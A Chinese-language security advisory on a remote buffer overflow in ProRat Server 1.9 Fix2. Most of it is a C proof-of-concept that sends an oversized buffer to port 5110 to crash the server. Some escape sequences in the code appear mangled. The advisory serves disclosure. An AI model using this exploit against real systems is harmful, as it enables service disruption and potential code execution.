发布日期：2005-08-03
更新日期：2005-08-03

受影响系统：

PRO Group ProRat Server 1.9 Fix2

描述：

---

BUGTRAQ  ID: 14458

ProRat是PRO Group发布的远程管理工具。

ProRat Server中存在远程缓冲区溢出漏洞，远程攻击者可能以服务器进程的权限在主机上执行任意指令。

成功利用这个漏洞的攻击者可能导致溢出明确大小的缓冲区，以受影响进程的权限执行任意代码。

<*来源：evil dabus （evil_dabus@yahoo.com）
  *>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

/* if this worked for you send me an email.
/str0ke */

/******************************************************************************************

ProRat Server Buffer Overflow Crash POC


Discovered and Coded by evil dabus
e-mail: evil_dabus [at] yahoo.com

Tested on ProRat Server version 1.9 (Fix-2) Public Edition
on a Windows XP Professional sp2 operating system.

This exploit connects to the ProRat server (default port 5110) and sends
a long null command string.
After the exploit send, the ProRat Server will crash, trying to access
to a bad memory address: 0x41414141.
Remote users are able to cause the server to crash or potentially
execute arbitrary code.

*******************************************************************************************/

#include <windows.h>
#include <winsock.h>
#include <stdio.h>

#define BUFSIZE 0x280
#define NOP 0x90
#define PORT 5110 // default port
#define RET_ADDR "x41x41x41x41" // crash
#define NULL_PING_COMMAND "x30x30x30x30x30x30"

void
banner() {
printf("- ProRat v1.9:Fix-2 remote buffer overflow ");
printf("- Coded by evil dabus (evil_dabus [at] yahoo.com) ");
}
void
usage(char *prog) {
banner();

printf("- Usage: %s <target ip> [target port] ", prog);
printf(" ");

exit(1);
}

void
main(int argc, char *argv[])
{
WSADATA wsaData;
struct hostent *pTarget;
struct sockaddr_in sock;
SOCKET s;
int iPort = PORT;
char szRecvBuf[BUFSIZE+1];
char szExpBuff[BUFSIZE];

if (argc < 2) usage(argv[0]);
if (argc==3) iPort = atoi(argv[2]);

printf(" [+] Initialize windows sockets.");
if (WSAStartup(MAKEWORD(2,0), &wsaData) < 0) {
printf(" [-] WSAStartup failed! Exiting...");
return;
}

printf(" [+] Initialize socket.");
s = socket(AF_INET, SOCK_STREAM , 0);
if(s == INVALID_SOCKET){
printf(" [-] Error socket. Exiting...");
exit(1);
}

printf(" [+] Resolving host info.");
if ((pTarget = gethostbyname(argv[1])) == NULL) {
printf(" [-] Resolve of %s failed.", argv[1]);
exit(1);
}
memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length);
sock.sin_family = AF_INET;
sock.sin_port = htons(iPort);

printf(" [+] Prepare exploit buffer... ");
memset(szExpBuff,NOP,BUFSIZE);
memcpy(szExpBuff,NULL_PING_COMMAND,sizeof(NULL_PING_COMMAND)-1);
memcpy(szExpBuff+576,RET_ADDR,sizeof(RET_ADDR)-1);

printf(" [+] Connecting to %s:%d ... ", argv[1],iPort);
if ( (connect(s, (struct sockaddr *)&sock, sizeof (sock) ))){
printf(" [-] Sorry, cannot connect to %s:%d. Try again...", argv[1],iPort);
exit(1);
}

printf(" [+] OK.");
if ( recv(s, szRecvBuf, BUFSIZE+1, 0) == 0 ) {
printf(" [-] Error response server. Exiting...");
exit(1);
}

Sleep(1000);
printf(" [+] Sending exploit buffer. size: %d",sizeof(szExpBuff));
if (send(s,szExpBuff, sizeof(szExpBuff)+1, 0) == -1){
printf(" [-] Send failed. Exiting...");
exit(1);
}

Sleep(1000);
printf(" [+] OK. ");
printf(" [*] Now try to connect to the server");

closesocket(s);
WSACleanup();
}

建议：

---

厂商补丁：

PRO Group
---------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

浏览次数：3586
严重程度：1（网友投票）